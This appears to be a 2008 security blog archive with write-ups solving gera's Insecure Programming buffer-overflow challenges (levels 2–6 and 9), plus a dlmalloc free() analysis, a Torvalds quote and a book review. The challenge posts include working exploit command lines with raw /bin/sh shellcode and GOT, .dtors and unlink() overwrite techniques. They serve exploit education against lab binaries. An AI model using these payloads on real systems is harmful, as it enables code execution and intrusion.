10/20/2008

We'Re Moving!

That's right, after some successful feedback from some readers (it meant a lot, thank you guys) and in order to provide a richer knowledge sharing experience I decided to upgrade MoreNops to a full-blown domain known from now on as www.morenops.com.

As I already mention in the new site, I've moved all the content already available here to the new site to avoid cross-site referencing issues but I'll leave this site online and with all the content just in case someone drops by following some cached content from sites like Google and such; anyway be advised that this site will no longer be updated.

I encourage you to update your bookmark (If you where one of the few that had one) and grant a warm welcome to the new MoreNops, now gone 2.0!

10/19/2008

Advanced Buffer Overflows: Defeating #9

After the fun-and-go! session in the previous post it didn't take too long to create a exploit for this kind of situation. Today I present the solution for the 9th level of the Advanced Buffer Overflows challenge which deals with free() and a dlmalloc implementation. First of all, lets take a look at the C source:
int main(int argv,char **argc) {
char *pbuf1=(char*)malloc(256);
char *pbuf2=(char*)malloc(256);

gets(pbuf1);
free(pbuf2);
free(pbuf1);
}

In my particular case I changed gets() for strpy() using the call parameters as input vector to ease data input and exploitment, which doesn't alter the bug in any way. This level is textbook example of a Heap Buffer Overflow situation in which we fool the implementation and the unlink() macro to overwrite arbitrary bytes in memory.

As explained in our last post, we need to create a fake chunk header in one of our buffers and fool free() to unlink() it. For this purpose we will overwrite the chunk header of buf2 so that calculations will lead the implementation to our fake chunk header. We will overwrite the prev_size field so that when _int_free() calculates the address of the previous chunk, it gets to our fake chunk header. Instead of making a step-by-step debugging session, I will explain the key instructions where data flow gets manipulated. Remember you can grab the disassembly here.

First let's begin by showing how the call will be so that we can identify the data we're analizing. Note in this call that the sub-sequence in blue is where our overflow begins and this 8 bytes will eventually fill the chunk header for buf2:

[infi@localhost insecure]$ ./abo9 `python -c 'print "\xeb\x0e"+"A"*14+"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"A"*188+"\xff\xff\xff\xff"+"A"*8+"\xf8\xff\xff\xff"+"\xf0\xff\xff\xff"+"\xff\xff\xff\xff"*2+"\x9c\x95\x04\x08"+"\x08\x96\x04\x08"'`
sh-2.05b$


In 0x4207446b the address of \xf8\xff\xff\xff gets loaded into ecx and right after that \xf0\xff\xff\xff is copied into eax. At address 0x42074477 eax is copied into esi. One of the critical points comes in 0x420744ad because esi=0xfffffff0 and ecx=0x08049708 get added and the result is stored in eax, which now contains 0x08049718; the theoretical start address of our fake chunk where the theoretical fd and bk pointers are (in red in the call sequence).

Anyway all of that is there just to success some checks, the real magic begins now. At 0x420744c8 edi-8 (the address of buf2) will be stored in eax, thus saving the prev_size field of buf2's chunk header in it. In the next instruction and remembering that ecx holds the address of the prev_size of buf2, ecx = ecx - eax is executed. Now remember that we manipulated the prev_size of buf2 to read 0xfffffff8 (-8), so this will effectively makes ecx point to an address inside buf2, which we can manipulate due to the overflow. ecx now points into 0x08049710, the chunk header of our fake chunk. Since the first 8 bytes of this "unused" buffer are fd and bk pointers our job is kindly completed by unlink() which using offsets 0x8 and 0xc will write 0x08049608 (address of our shellcode, stored in buf1 itself) in 0x0804959c+12=0x080495a8 (address of free@GOT).

That's basically it but a couple of notes here. First of all, shellcode+8 will get clobbered by 0x0804959c , thats how unlink() works. To make the shellcode work properly, we place a unconditional jump in the beginning and jump over the clobbered area, thats why we include "\xeb\x0e"+"A"*14 in the beginning of the shellcode (eb is the opcode for "jmp" and 0x0e=14 is the offset). Also, we need to make sure we overwrite the GOT entry for free() because right after we trick free() into doing this, it gets called once again over buf1, and after manipulating headers this way, the program crashes with a segment violation signal.

I hope this little walktrough enlightened somebody as just did with me. For any suggestion, question or whatever don't hesitate to drop a comment or write an email. See you next time and keep adding NOPs!

10/17/2008

Fandango on free()

I apologize for the delay in keeping this blog updated. As I was working in the solution for the 9th level of the Advanced Buffer Overflows challenge I had some serious troubles with the different implementations of Doug Lea's Malloc (dlmalloc from now on) management system which I thought would do for a good article. Althought the solution for abo9 is in its final stages, I'll elaborate on the heap implementation this time.

Lots of good articles have been already written in this subject (Which I'll link at the end of this post for anyone that's interested) but with the versions I was using in my VMs as lab I had more than one headache(In fact, vulnerable versions of glibc seem to be already patched in SuSE versions 9.X. In my case switching to Red Hat 9.0 did the job). None of the popular papers seemed to work in my case, hence, I decided to dig myself in the inner workings of this dynamic memory allocation system. Instead of explaining a C implementation I went for a Reverse Code Engineering approach which turned as follows. In this post I won't explain the inner workings of dlmalloc, that's already been nicely documented in other papers such as Vudo - An object superstitiously believed to embody magical powers by Michel "MaXX" Kaempf, hence I'll avoid any reference to that.

The function in question is free() which takes care of freeing a used chunk once we have finished our work with it. free() is actually a wrapper around _int_free() which does the real job. _int_free() makes some checks and then makes use of the unlink() macro to unlink two adjacent chunks and join them to create a larger one. You can get the interesting part of the disassembly of _int_free() here.

At address 0x42074464 it loads the pointer to the chunk we want to free into the edi register. In 0x4207446b loads the address of the prev_size field of the buf2 buffer into ecx. Right in the next intruction the contents of size field of buf2 are copied into eax. After check int the arena struct we jump to 0x420744a0 at 0x42074481. In the next two instructions it checks wether or not the 2nd least significant bit of the size field is enabled and if it is(which is not our case) it jumps to another region within _int_free().

Now is where the fun part for exploitation begins. At 0x420744ad, we calculate the address of the next chunk using our address + the prev_size field of buf2 (which we can control overflowing the first buf1) and store it in eax, which can now contain the address of the prev_size of a fake chunk we can create. In the next instruction we load the size field of our fake chunk into edx. After some saving into local variables, some 8 byte boundary roundings and a PREV_INUSE checks, we arrive to 0x420744c8. Here we load in eax the prev_size of buf2 and in the next instruction we store in ecx the address of buf2's prev_size minus the prev_size of buf2 itself. This hypothetically would get us the previous chunk's prev_size address but since we manipulated buf2's prev_size we can make it go wherever we want.

So, since ecx now points to the prev_size of our fake chunk, let's talk a little bit about the unlink() macro. This macro basically swaps the fd and bk fields of unused chunks to make the use of free space in memory more efficient and to avoid fragmentation. Being a macro as it is, is compiled inline with the rest of the code and, since doesn't provide any sanity checking it'll swap some addresses we control with information we control allowing us to overwrite 4 bytes wherever we want in memory with the information we want. You can see unlink() in action in address 0x420744cd, 0x420744d2, 0x420744d5 and 0x420744d8. From then on the function continues his normal path as the damage has already been done.

Well that's it. I'll talk about exploitability and it's techniques in the next post. If anybody felt this was quite messy to follow I apologize; I understand it's a difficult matter (at least it was for me :P) but I hope somebody else learned something from this. I also hope I can bring a final solution for abo9 in the upcoming days. As promised I include some references to previous works in the topic here:

9/19/2008

Advanced Buffer Overflows Revolutions

It's been a long summer break since I last posted here. I thought there would be no break this summer but after some hardcore sessions at the Euskal Encounter 16 I felt I needed one. Yet again, I'll cover some levels of the Insecure Programming challenges by gera from Core SDI. Last time we covered levels up to 4 in the Advanced Buffer Overflows section. This time around, we'll go for the fifth and sixth levels. But first of all, a small news in the matter: Apparently levels 7 and 8 take advantage of certain setups of the different sections in memory to be able to corrupt the buffers and they need to be compiled with old versions of gcc(2.x.x), thus will not be featured here.

Time for some binary fun then. Let's take a look at level 5 and see what can be done:
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
for (;*pbuf++=*(argc[2]++););
exit(1);
}
At first look the only thing we can overrun in this case is the buf buffer. But what can we overwrite and with what purpose? Well, pbuf pointer is right next to buf in the stack as local variable so that's clearly a target. Now that we acquired a target, what can we do with it? If we take a close look at the for sequence right after the call to strcpy() we notice that actually it's a custom implementation of a strcpy() call in which we control both parameters.

The path is clear then, we'll smash the pbuf pointer so that we can write wherever we want in memory. The only thing left now is to choose what to and where to write; we have different successful choices here. We can overwrite the GOT entry for the exit() call or we can also go for the executable destructors in the .dtors section of the binary. In this particular case, I'll go for the latter because it's a route I've never took before. First we need to find the address of the particular area in the .dtors section we want to overwrite. Some research within gdb will do the job:

0x080495fc->0x08049604 at 0x000005fc: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x08049604->0x0804960c at 0x00000604: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x0804960c->0x08049610 at 0x0000060c: .jcr ALLOC LOAD DATA HAS_CONTENTS


(gdb) x/x 0x08049604
0x8049604 <__dtor_list__>: 0xffffffff
(gdb) x/x 0x08049608
0x8049608 <__dtor_end__>: 0x00000000


Thus, the address we want overwrite is 0x8049608 which will become sort of a jump pad to where we want to execute. And where do we want to execute? In our shellcode, naturally. As we did in the previous solutions, we will use abo1exp and thus load the shellcode in a environment variable with a known address within memory; 0xbfffff40. Here's the resulting call:

infi@labo:~/InsecureProgramming> ./abo1exp
infi@labo:~/InsecureProgramming> ./abo5 `python -c 'print "A"*268+"\x08\x96\x04\x08"+" \x40\xff\xff\xbf"'`

sh-3.00$


Now into level 6 then. This is how it looks:
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}
Both strcpy() make it look simple, but that's not the case (not at least compared to all the previous levels). We can clearly write wherever we want in memory, but notice that after we managed to overwrite there's a infinite loop in there, hence, the "what to overwrite" requires a special approach. Since strcpy() itself is a function call, everytime we call it, we go for the traditional function prelude in the assembler level, storing the ret value in the stack.

Our test system isn't running any kind of stack randomization patch nor anything so we can guess beforehand in what address the ret value will be stored and write there. Since the writing process will become effective inside the strcpy() implementation, the ret value will be already stored and no smashing will happen from the normal flow of the program. I want to stress here that the call that does the trick is the second one, the first call to strcpy() just gives us control over the pbuf pointer.

The main difficulty in this case was finding the exact address of the ret value. In my case I used different values and analized core dumps (remember to set "ulimit -c unlimited" to get core dumps) to find it. The address turned out to be 0xbfffee8c thus making the call pretty straightforward:

infi@labo:~/InsecureProgramming> ./abo1exp
infi@labo:~/InsecureProgramming> ./abo6 `python -c 'print "A"*268+"\x8c\xee\xff\xbf"+" \x40\xff\xff\xbf"'`

sh-3.0


As a final note for this level, when the binary was compiled using the -ggdb flag for debugging, the exploit didn't work outside gdb and the ret address was smashed in a byte of the whole dword(thanks to erg0t for enlightening me on this one :-).

So that was it, hopefully I can get back on track with these challenges in a more regular schedule now with the beginning of the new academic year. Hope you enjoyed it as much as I did and don't forget to keep adding NOPs!

7/24/2008

Advanced Buffer Overflows, Take #2

Hello again fellows, tonight, we'll take another step ahead in solving gera's programming challenges with this second take in the Advanced Buffer Overflows section. Unlike the previous take, this one will cover more than one level: from second to fourth to be more precise. As usual we'll take a look at the source and make an hypothesis on the possible attack path to follow. Without greater delay, let's begin.

This is how #2 looks like:
int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
exit(1);
}
As an avid reader might have noticed, despite the obvious possibility to overflow the buffer in the stack, the exit() call right after the strcpy() makes impossible ever reaching any ret value we might have corrupted. After hitting the wall a couple of times, I noticed that in gera's solutions, the best outcome seemed to be a local DoS attack to the program. For this purpose we can make a call using a VERY LARGE sequence of characters so that memory would get largely corrupted and program wouldn't be able to continue it's normal way (presumably smashing the GOT or PLT entries where references to exit() are saved for dynamic linking). Not the most elegant solution but this is what this circumstances led us to :(

Turning our look to #3:
int main(int argv,char **argc) {
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}

The pointer mess in this case might scare the newcomer but once the fog clears out we notice what a piece of cake this is. All we have to face this time is a locally defined function pointer; right after our stack buffer. This should make your mouth sweat. Funny enough, the same approach we followed in abo1 will do the job this time. How? someone might ask. While in the first level we overwrote the ret value, this time we can overwrite a pointer to a function that will be called right after we smash the stack.(I won't display the solution here to keep the post-size as efficient as possible)

At this point we make it into #4, the bad boy:
extern system,puts; 
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}

Like in #3, this time we have function pointers around and like in #3 we call the function using the pointer after smashing the buffer but...the pointer is defined OUT of the local function, thus no function pointer abuse this time. Apparently, the only thing we can smash in this situation is the pbuf pointer which points to the region allocated in the heap to place argc[2] or the 2º argument. This will do the trick, we will overwrite the pbuf pointer so that we can freely control the second strcpy() and write wherever in memory we want. If we use gdb to investigate a little, we'll notice that the adress of fn() is actually 0x0804974c. To store the shellcode we will follow the same approach we used in the previous buffer overflow levels, we will store it in a environment variable(remember we used address 0xbfffff40 for that one). Recapping a little this is how we would build the call:

infi@labo:~/InsecureProgramming> ./abo4 `python -c 'print "A"*268+"\x4c\x97\x04\x08"'` `python -c 'print "\x40\xff\xff\xbf"'` CCCC
sh-3.00$


Once again, mission complete. This is it for today, more from challenges will be coming shortly. Keep adding NOPs!

7/23/2008

Torvalds Mad at Security Industry

A couple of days ago in the gmane mailing lists Linus Torvalds, the famous creator of Linux went berserk against what he named as "the whole security circus".

Apparently, he's very annoyed by the fame-boost people get each time they find a new security bug. In the same post he also delighted us with some quotes regarding OpenBSD as; "I think the OpenBSD crowd is a bunch of masturbating monkeys" and "...they make such a big deal about concentrating on security to the point where they pretty much admit that nothing else matters to them..."

He states that in his view, a security bug is no more important than any other traditional bug and in fact, traditional bug are _WAY_ more important. Here is the link to the original post and here's a copy of the message:
On Tue, 15 Jul 2008, Linus Torvalds wrote:
>
> So as far as I'm concerned, "disclosing" is the fixing of the bug. It's
> the "look at the source" approach.

Btw, and you may not like this, since you are so focused on security, one
reason I refuse to bother with the whole security circus is that I think
it glorifies - and thus encourages - the wrong behavior.

It makes "heroes" out of security people, as if the people who don't just
fix normal bugs aren't as important.

In fact, all the boring normal bugs are _way_ more important, just because
there's a lot more of them. I don't think some spectacular security hole
should be glorified or cared about as being any more "special" than a
random spectacular crash due to bad locking.

Security people are often the black-and-white kind of people that I can't
stand. I think the OpenBSD crowd is a bunch of masturbating monkeys, in
that they make such a big deal about concentrating on security to the
point where they pretty much admit that nothing else matters to them.

To me, security is important. But it's no less important than everything
*else* that is also important!

Linus
Tough words to read from someone who did so much for what we have today.

7/21/2008

Book Review: Reversing, Secrets of Reverse Engineering.

Even thought I have some more solutions for the Advanved Buffer Overflow Challenges in the line, today I come with a different kind of article. This time I'll be reviewing one of the latest additions to my shelf: "Reversing, Secrets of Reverse Engineering" by Eldad Eilam. As every experienced hacker knows, understanding of the lowest and most-inner workings of a program sometimes goes throught analizing it's low level code representation and the most basic interaction with the underlaying OS.



From my experience, the documentation available in the net is often either very specific or largely outdated, hence I decided to give a shot to a all-in-one physical format like a book. I don't regret it a second. I knew the book since some time ago, It's been around since 2005, but I never felt it would report much to what I needed at the time. I couldn't be more wrong. Lately I've been trying to take a look at real life vulnerability code in order to get away from artificial yet educational exploitme-like situations. Most of the time the environment used to be Windows in a 32bit environment, which fortunately is documented on the web. Still, it takes a trained eye to recognize vulnerable portions of code in a sea of mov's,lea's and cmp's. A hands-on reversing lesson was on demand.

At first I was a bit reluctant to the book, the initial chapters are just refreshers for some basic architecture and tool knowledge which is handy considering the solid base they make for the rest of the book. After that it goes to reversing a group of windows undocumented APIs; basic training to recognize C/C++ structures and functions. Then it moves to the topic that interest's us the most: Binary Auditing.

It makes for a good help to pay a visit to our old overflow friends and taking a look at how the look under the cover. The chapter also makes a detailed analysis of the famous IIS Unicode Bug that worked as launchpad to the also known CodeRed worm.

After that came one of the chapters that I had the most fun reading, mostly because I had no previous exposure to it: Malware Analysis. Using a Trojan as example it goes to understand it's internals. Isolated virtual environment is a MUST for this :)

From then on the book continues his way throught cracking, anti-cracking and some protection schemes. Mention deserved to the last chapters dealing with virtual machine based languages using Microsoft's very own .NET platform as example which seemed to me as lightening for other languages such as Java. The book gets completed with 4 Appendixes that make for good reference sections for future reversing sessions.

All in all, a great book, a must have, one of those that takes more than the others to get outdated because not only shows hands-on experience but also shows the path to follow for upcoming techniques developed in the area. After all, reversing is a tool that many different research areas benefit from in greater or lesser way.